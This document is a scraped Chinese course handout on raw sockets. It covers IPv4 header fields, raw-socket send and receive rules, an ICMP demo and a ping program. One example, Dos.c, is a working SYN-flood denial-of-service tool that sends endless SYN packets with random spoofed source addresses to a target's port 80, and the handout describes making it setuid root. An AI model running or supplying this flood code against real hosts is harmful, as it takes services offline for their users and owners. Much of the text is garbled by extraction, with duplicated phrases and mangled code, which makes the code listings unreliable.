1、第13章 原始套接字IPv4数据报格式:首部长度是以32位(即4字节)为单位;16位的标识用于分片和重组;DF位(不分片);MF(还有片段);协议字段表示封装在IP报文中的上层协议,典型的有:ICMP(1)、IGMP(2)、TCP(6)、UDP(17);头部校验和只对IP头部(包括选项)计算,校验算法是标准的因特网校验和算法,即简单的16位反码求和。版本总长度(字节长度)标识片段偏移首部长度服务类型0DFMF存活时间(TTL)头部校验和协议32位源地址32位目的地址选项(如果有的话)数据首部数据0371531IP数据报分片例子nIP数据报是指IP层端到端的传输单元(在分片之前和重新组装之后),
2、分组是指在I P 层和链路层之间传送的数据单元。n需要重申的是,任何传输层首部只出现在第1片数据中。原始套接字(概述)n原始套接字提供了一些使用原始套接字提供了一些使用tcp和和udp协议不能实协议不能实现的功能,如:现的功能,如:n使用原始套接字可以读写使用原始套接字可以读写ICMPv4、IGMPv4分组。分组。如如Ping程序,程序,mroute程序等;程序等;n使用原始套接字可以读特殊的使用原始套接字可以读特殊的IPv4数据包,内核不处数据包,内核不处理这些数据报的理这些数据报的IPv4协议字段。如大多数内核只处理协议字段。如大多数内核只处理ICMP、IGMP、TCP、UDP的数据报。但
3、协议字段还的数据报。但协议字段还可以为其他值,如可以为其他值,如OSPF直接使用直接使用IP协议,将协议,将IP数据报数据报的协议字段设为的协议字段设为89,此时,就必须有专门的程序通过原,此时,就必须有专门的程序通过原始套接字来处理它们;始套接字来处理它们;n利用原始套接字还可以创建自定义的利用原始套接字还可以创建自定义的IP数据报首部,编数据报首部,编写基于写基于IP协议的高层网络协议。协议的高层网络协议。原始套接字创建原始套接字创建#include#include int socket(AF_INET,SOCK_RAW,int protocol);nprotocol参数一般不能为参数一般
4、不能为0,如:,如:IPPROTO_ICMP。另外,只有超。另外,只有超级用户才能创建原始套接字。级用户才能创建原始套接字。n用户可以通过设置用户可以通过设置IP_HDRINCL选项来编写自己的选项来编写自己的IP数据报首部:数据报首部:const int on=1;setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on);n可以调用可以调用bind函数绑定原始套接字的本地函数绑定原始套接字的本地IP地址,此时,所有输出的地址,此时,所有输出的数据报将用到源数据报将用到源IP地址(仅当地址(仅当IP_HDRINCL未设置时);如果不调未设置时
5、);如果不调用用bind函数,由内核将源函数,由内核将源IP地址设成外出接口的主地址设成外出接口的主IP地址;地址;n可以调用可以调用connect函数设置数据报的目的地址(注意并不需要真正的连函数设置数据报的目的地址(注意并不需要真正的连接)。此后,可直接调用接)。此后,可直接调用write或或send。通过原始套接字发送数据报通过原始套接字发送数据报n原始套接字的输出遵循以下规则:原始套接字的输出遵循以下规则:n如果套接字已经连接,可以调用如果套接字已经连接,可以调用write、writev、send来来发送数据,否则需要调用发送数据,否则需要调用sendto或或sendmsg;n如果如果
6、IP_HDRINCL选项未设置,则内核会将选项未设置,则内核会将IP头部之后的头部之后的第一个字节作为写数据的起始地址。第一个字节作为写数据的起始地址。n如果设置了如果设置了IP_HDRINCL,则内核会将,则内核会将IP头部的第一个字头部的第一个字节作为写数据的起始地址。此时进程构造除了以下两项外的节作为写数据的起始地址。此时进程构造除了以下两项外的整个整个IP头部;(头部;(a)IPv4标识字段可以设为标识字段可以设为0,要求内核设,要求内核设置该值;(置该值;(b)IPv4头部校验和由内核来计算和存储。头部校验和由内核来计算和存储。nIPv4数据报首部各个字段的内容均是网络字节序(对数据
7、报首部各个字段的内容均是网络字节序(对linux而言)而言)n对于超出外出接口的对于超出外出接口的MTU的分组,内核将其分片。的分组,内核将其分片。通过原始套接字接收数据报通过原始套接字接收数据报n内核通过原始套接字接收数据报,遵循以下规则:内核通过原始套接字接收数据报,遵循以下规则:n接收到的接收到的tcp和和udp分组决不会传递给原始套接字,如果一个分组决不会传递给原始套接字,如果一个进程希望读取包含进程希望读取包含tcp或或udp分组的分组的IP数据报,那么它们必数据报,那么它们必须在数据链路层读入;须在数据链路层读入;n如果数据报以分片形式到达,则该分组将在所有片段到达并如果数据报以分
8、片形式到达,则该分组将在所有片段到达并重组后才传给原始套接字。重组后才传给原始套接字。n当内核处理完当内核处理完ICMP消息后,绝大部分消息后,绝大部分ICMP分组将传递给分组将传递给原始套接字。对源自原始套接字。对源自Berkeley的实现,除了回射请求、时的实现,除了回射请求、时间戳请求和地址掩码请求将完全由内核处理以外,所有收到间戳请求和地址掩码请求将完全由内核处理以外,所有收到的的ICMP分组将传递给某个原始套接口;分组将传递给某个原始套接口;n当内核处理完当内核处理完IGMP消息后,所有消息后,所有IGMP分组都将传递给某分组都将传递给某个原始套接字;个原始套接字;n所有带有内核不能
9、识别的协议字段的所有带有内核不能识别的协议字段的IP数据报都将传递给某数据报都将传递给某个原始套接字。个原始套接字。通过原始套接字接收数据报(续)通过原始套接字接收数据报(续)n在将一个在将一个IP数据报传递给某个套接字之前,内核需要选择数据报传递给某个套接字之前,内核需要选择匹配的原始套接字:匹配的原始套接字:n如果在创建原始套接字时,所指定的如果在创建原始套接字时,所指定的protocolprotocol参数不为参数不为0 0,则接收到的数据包的协议字段应与该值匹配;则接收到的数据包的协议字段应与该值匹配;n如果此原始套接字之上绑定了一个本地如果此原始套接字之上绑定了一个本地IPIP地址,
10、那么接地址,那么接收到的数据报的目的收到的数据报的目的IPIP地址应与该绑定地址相匹配;地址应与该绑定地址相匹配;n如果此原始套接字通过调用如果此原始套接字通过调用connectconnect指定了一个对方的指定了一个对方的IPIP地址,那么接收到的数据报的源地址,那么接收到的数据报的源IPIP地址应与该已连接地地址应与该已连接地址相匹配。址相匹配。n如果一个原始套接字以如果一个原始套接字以protocol参数为参数为0的方式创建,而的方式创建,而且未调用且未调用bind或或connect,那么对于内核传递给原始套接,那么对于内核传递给原始套接字的每一个原始数据报,该套接字都会收到一份拷贝;字
11、的每一个原始数据报,该套接字都会收到一份拷贝;n当接收到的数据报传递给当接收到的数据报传递给IPv4原始套接字时,整个数据报原始套接字时,整个数据报(包括(包括IP头部)都将传递给进程。而对于头部)都将传递给进程。而对于IPv6,则将去除,则将去除扩展头部。扩展头部。例1、DOS攻击(拒绝服务攻击)n拒绝服务攻击原理:Hacker(客户端)MMMMaster(主控机)zzzzzz z zZombie(代理机)Target(目标机)分布式拒绝服务攻击原理图分布式拒绝服务攻击原理图源程序源程序Dos.c:#include#include#include#include#include#includ
12、e#include#include#define DESTPORT 80/*要攻击的端口要攻击的端口(WEB)*/#define LOCALPORT 8888void send_tcp(int sockfd,struct sockaddr_in*addr);unsigned short check_sum(unsigned short*addr,int len);int main(int argc,char*argv)int sockfd;struct sockaddr_in addr;int on;on=1;if(argc!=2)fprintf(stderr,Usage:%sIPn,argv
13、0);exit(1);bzero(&addr,sizeof(struct sockaddr_in);addr.sin_family=AF_INET;addr.sin_port=htons(DESTPORT);inet_aton(argv1,&addr.sin_addr);/*使用使用IPPROTO_TCP创建一个创建一个TCP的原始套接的原始套接*/sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);if(sockfdip_v=IPVERSION;/*版本一般的是版本一般的是4*/ip-ip_hl=sizeof(struct ip)2;/*IP数据包的头部长
14、度数据包的头部长度*/ip-ip_tos=0;/*服务类型服务类型*/ip-ip_len=htons(head_len);/*IP数据包的长度数据包的长度*/ip-ip_id=0;/*让系统去填写吧让系统去填写吧*/ip-ip_off=0;/*和上面一样和上面一样,省点时间省点时间*/ip-ip_ttl=MAXTTL;/*最长的时间最长的时间255*/ip-ip_p=IPPROTO_TCP;/*我们要发的是我们要发的是TCP包包*/ip-ip_sum=0;/*校验和让系统去做校验和让系统去做*/ip-ip_dst=addr-sin_addr;/*我们攻击的对象我们攻击的对象*/printf(d
15、est address is%sn,inet_ntoa(addr-sin_addr);/*开始填写开始填写TCP数据包数据包*/tcp=(struct tcphdr*)(buffer+sizeof(struct ip);tcp-source=htons(LOCALPORT);tcp-dest=addr-sin_port;/*目的端口目的端口*/tcp-seq=random();tcp-ack_seq=0;tcp-doff=5;tcp-syn=1;/*我要建立连接我要建立连接*/tcp-check=0;/*好了好了,一切都准备好了一切都准备好了.服务器服务器,你准备好了没有你准备好了没有*/wh
16、ile(1)/*你不知道我是从那里来的你不知道我是从那里来的,慢慢的去等吧慢慢的去等吧!*/ip-ip_src.s_addr=random();printf(addr is%dn,ip-ip_src.s_addr);sendto(sockfd,buffer,head_len,0,(struct sockaddr*)addr,sizeof(struct sockaddr);程序运行权限n通常情况下,有效用户通常情况下,有效用户ID等于实际用户等于实际用户ID,有效组,有效组ID等等于实际组于实际组ID;n文件方式字中有一个特殊标志,定义为文件方式字中有一个特殊标志,定义为“当执行此文件时当执行此
17、文件时将进程的有效用户将进程的有效用户ID设置为文件的所有者设置为文件的所有者”,与此类似,与此类似,组组ID也有类似的情况。这两位称为:设置用户也有类似的情况。这两位称为:设置用户ID和和设置组设置组ID。n对于本程序要求:普通用户能执行该程序,但该程序又要对于本程序要求:普通用户能执行该程序,但该程序又要求要具有超级用户权限,因此:需要将该可执行程序的所求要具有超级用户权限,因此:需要将该可执行程序的所有者设置为超级用户,并设置其有者设置为超级用户,并设置其“设置设置-用户用户-ID”标志,标志,方法是:方法是:程序运行结果程序运行结果例2:给本机发送一个ICMP报文,然后接收回复。/ip
18、.h#ifndef _IP_H#define _IP_H#include#include#include#include#include#include#include#include#include#include#define PACKET_SIZE 4096#define MAX_WAIT_TIME 5#define DEST_ADDR 222.18.113.171extern int errno;char sendpacketPACKET_SIZE;char recvpacketPACKET_SIZE;int sockfd,datalen=56;struct sockaddr_in d
19、est_addr;void send_packet();void recv_packet();unsigned short cal_chksum(unsigned short*addr,int len);void showiphdr(struct ip*ip);void onTerm();#endif/Ip.c#include ip.hint main(int argc,char*argv)struct hostent*host;struct protoent*protocol;unsigned long inaddr=0L;if(protocol=getprotobyname(icmp)=N
20、ULL)perror(unknow protocol icmp);exit(1);if(sockfd=socket(AF_INET,SOCK_RAW,protocol-p_proto)icmp_type=ICMP_ECHO;icmp-icmp_code=0;icmp-icmp_cksum=0;icmp-icmp_id=getpid();icmp-icmp_seq=1;packetsize=8+datalen;/数据包的大小数据包的大小icmp-icmp_cksum=cal_chksum(unsigned short*)icmp,packetsize);if(sendto(sockfd,send
21、packet,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr)1)sum+=*w+;nleft-=2;if(nleft=1)*(unsigned char*)(&answer)=*(unsigned char*)w;sum+=answer;sum=(sum16)+(sum&0 xffff);sum+=(sum16);answer=sum;return answer;void recv_packet()int n,fromlen,packet_no;struct sockaddr_in from;struct ip*ip;st
22、ruct icmp*icmp;signal(SIGALRM,onTerm);while(1)fromlen=sizeof(from);alarm(MAX_WAIT_TIME);if(n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr*)&from,&fromlen)ip_hl);icmp=(struct icmp*)(recvpacket+4*ip-ip_hl);/取取ICMP报头报头printf(ICMP TYPE=%dn,icmp-icmp_type);void showiphdr(struct ip*ip)
23、printf(-IP HEADER-n);printf(version:%dn,ip-ip_v);printf(header length:%dn,ip-ip_hl);printf(type of service:%dn,ip-ip_tos);printf(total length:%dn,ip-ip_len);printf(identification:%dn,ip-ip_id);printf(fragment offset field:%dn,ip-ip_off);printf(time to live:%dn,ip-ip_ttl);printf(protocol:%dn,ip-ip_p)
24、;/*printf(checksum:%sn,ip-ip_sum);*/printf(source IP address:%sn,inet_ntoa(ip-ip_src);printf(destination IP address:%sn,inet_ntoa(ip-ip_dst);void onTerm()close(sockfd);exit(0);运行结果收到了两个ICMP报文,一个是由程序发送的,另一个是系统回复的。例3:ping程序#include#include#include#include#include#include#include#include#include#includ
25、e#include#include#define PACKET_SIZE 4096#define MAX_WAIT_TIME 5#define MAX_NO_PACKETS 3char sendpacketPACKET_SIZE;char recvpacketPACKET_SIZE;int sockfd,datalen=56;int nsend=0,nreceived=0;struct sockaddr_in dest_addr;pid_t pid;struct sockaddr_in from;struct timeval tvrecv;void statistics(int signo);
26、unsigned short cal_chksum(unsigned short*addr,int len);int pack(int pack_no);void send_packet(void);void recv_packet(void);int unpack(char*buf,int len);void tv_sub(struct timeval*out,struct timeval*in);void statistics(int signo)printf(n-PING statistics-n);printf(%d packets transmitted,%d received,%d
27、 lostn,nsend,nreceived,(nsend-nreceived)/nsend*100);close(sockfd);exit(1);/*校验和算法校验和算法*/unsigned short cal_chksum(unsigned short*addr,int len)int nleft=len;int sum=0;unsigned short*w=addr;unsigned short answer=0;/*把把ICMP报头二进制数据以报头二进制数据以2字节为单位累加起来字节为单位累加起来*/while(nleft1)sum+=*w+;nleft-=2;/*若若ICMP报头为奇
28、数个字节,会剩下最后一字节。把最后一个字节视为一个报头为奇数个字节,会剩下最后一字节。把最后一个字节视为一个2字节数据的高字节,这个字节数据的高字节,这个2字节数据字节数据的低字节为的低字节为0,继续累加,继续累加*/if(nleft=1)*(unsigned char*)(&answer)=*(unsigned char*)w;sum+=answer;sum=(sum16)+(sum&0 xffff);sum+=(sum16);answer=sum;return answer;/*设置设置ICMP报头报头*/int pack(int pack_no)int i,packsize;struct
29、 icmp*icmp;struct timeval*tval;icmp=(struct icmp*)sendpacket;icmp-icmp_type=ICMP_ECHO;icmp-icmp_code=0;icmp-icmp_cksum=0;icmp-icmp_seq=pack_no;icmp-icmp_id=pid;packsize=8+datalen;tval=(struct timeval*)icmp-icmp_data;gettimeofday(tval,NULL);/*记录发送时间记录发送时间*/icmp-icmp_cksum=cal_chksum(unsigned short*)i
30、cmp,packsize);/*校验算法校验算法*/return packsize;/*发送三个发送三个ICMP报文报文*/void send_packet()int packetsize;while(nsendMAX_NO_PACKETS)nsend+;packetsize=pack(nsend);/*设置设置ICMP报头报头*/if(sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr)0 )perror(sendto error);continue;sleep(1);/*每隔
31、一秒发送一个每隔一秒发送一个ICMP报文报文*/*接收所有接收所有ICMP报文报文*/void recv_packet()int n,fromlen;extern int errno;signal(SIGALRM,statistics);fromlen=sizeof(from);while(nreceived10)alarm(MAX_WAIT_TIME);if(n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr*)&from,&fromlen)ip_hl)*4;/*求求ip报头长度报头长度,即即ip报头的长度标志
32、乘报头的长度标志乘4*/icmp=(struct icmp*)(buf+iphdrlen);/*越过越过ip报头报头,指向指向ICMP报头报头*/len-=iphdrlen;/*ICMP报头及报头及ICMP数据报的总长度数据报的总长度*/if(lenicmp_type=ICMP_ECHOREPLY)&(icmp-icmp_id=pid)tvsend=(struct timeval*)icmp-icmp_data;tv_sub(&tvrecv,tvsend);/*接收和发送的时间差接收和发送的时间差*/rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000;/*以毫
33、秒为单位计算以毫秒为单位计算rtt*/*显示相关信息显示相关信息*/printf(%d byte from%s:icmp_seq=%u ttl=%d rtt=%.3f msn,len,inet_ntoa(from.sin_addr),icmp-icmp_seq,ip-ip_ttl,rtt);else return-1;main(int argc,char*argv)struct hostent*host;struct protoent*protocol;unsigned long inaddr=0l;int waittime=MAX_WAIT_TIME;int size=50*1024;if(
34、argcp_proto)h_addr);pid=getpid();printf(PING%s(%s):%d bytes data in ICMP packets.n,argv1,inet_ntoa(dest_addr.sin_addr),datalen);send_packet();/*发送所有发送所有ICMP报文报文*/recv_packet();/*接收所有接收所有ICMP报文报文*/statistics(SIGALRM);/*进行统计进行统计*/return 0;/*两个两个timeval结构相减结构相减*/void tv_sub(struct timeval*out,struct timeval*in)if(out-tv_usec-=in-tv_usec)tv_sec;out-tv_usec+=1000000;out-tv_sec-=in-tv_sec;/*-The End-*/运行结果: